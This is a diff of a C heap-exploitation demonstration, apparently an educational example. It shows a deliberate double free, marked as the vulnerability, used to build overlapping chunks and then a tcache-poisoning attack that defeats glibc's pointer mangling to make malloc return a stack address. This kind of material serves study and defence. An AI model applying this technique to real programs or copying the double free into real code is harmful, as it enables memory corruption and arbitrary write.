@@ -42,7 +42,7 @@ int main()
42
42
printf ("Allocating the victim chunk: a @ %p\n" , a );
43
43
puts ("Allocating a padding to prevent consolidation.\n" );
44
44
malloc (0x10 );
45
-
45
+
46
46
// cause chunk overlapping
47
47
puts ("Now we are able to cause chunk overlapping" );
48
48
puts ("Step 1: fill up tcache list" );
@@ -51,25 +51,36 @@ int main()
51
51
}
52
52
puts ("Step 2: free the victim chunk so it will be added to unsorted bin" );
53
53
free (a );
54
-
54
+
55
55
puts ("Step 3: free the previous chunk and make it consolidate with the victim chunk." );
56
56
free (prev );
57
-
57
+
58
58
puts ("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n" );
59
59
malloc (0x100 );
60
60
/*VULNERABILITY*/
61
61
free (a );// a is already freed
62
62
/*VULNERABILITY*/
63
63
64
64
puts ("Now we have the chunk overlapping primitive:" );
65
- int prev_size = prev [-1 ] & 0xff0 ;
65
+ puts ("This primitive will allow directly reading/writing objects, heap metadata, etc.\n" );
66
+ puts ("Below will use the chunk overlapping primitive to perform a tcache poisoning attack." );
67
+
68
+ puts ("Get the overlapping chunk from the unsorted bin." );
69
+ intptr_t * unsorted = malloc (0x100 + 0x100 + 0x10 );
70
+ puts ("Use the overlapping chunk to control victim->next pointer." );
71
+ // mangle the pointer since glibc 2.32
72
+ unsorted [0x110 /sizeof (intptr_t )] = ((long )a >> 12 ) ^ (long )stack_var ;
73
+
74
+ puts ("Get back victim chunk from tcache. This will put target to tcache top." );
75
+ a = malloc (0x100 );
66
76
int a_size = a [-1 ] & 0xff0 ;
67
- printf ("prev @ %p, size: %#x, end @ %p\n" , prev , prev_size , (void * )prev + prev_size );
68
77
printf ("victim @ %p, size: %#x, end @ %p\n" , a , a_size , (void * )a + a_size );
69
- a = malloc (0x100 );
70
- memset (a , 0 , 0x100 );
71
- prev [0x110 /sizeof (intptr_t )] = 0x41414141 ;
72
- assert (a [0 ] == 0x41414141 );
73
78
79
+ puts ("Get the target chunk from tcache." );
80
+ intptr_t * target = malloc (0x100 );
81
+ target [0 ] = 0xcafebabe ;
82
+
83
+ printf ("target @ %p == stack_var @ %p\n" , target , stack_var );
84
+ assert (stack_var [0 ] == 0xcafebabe );
74
85
return 0 ;
75
86
}
0 commit comments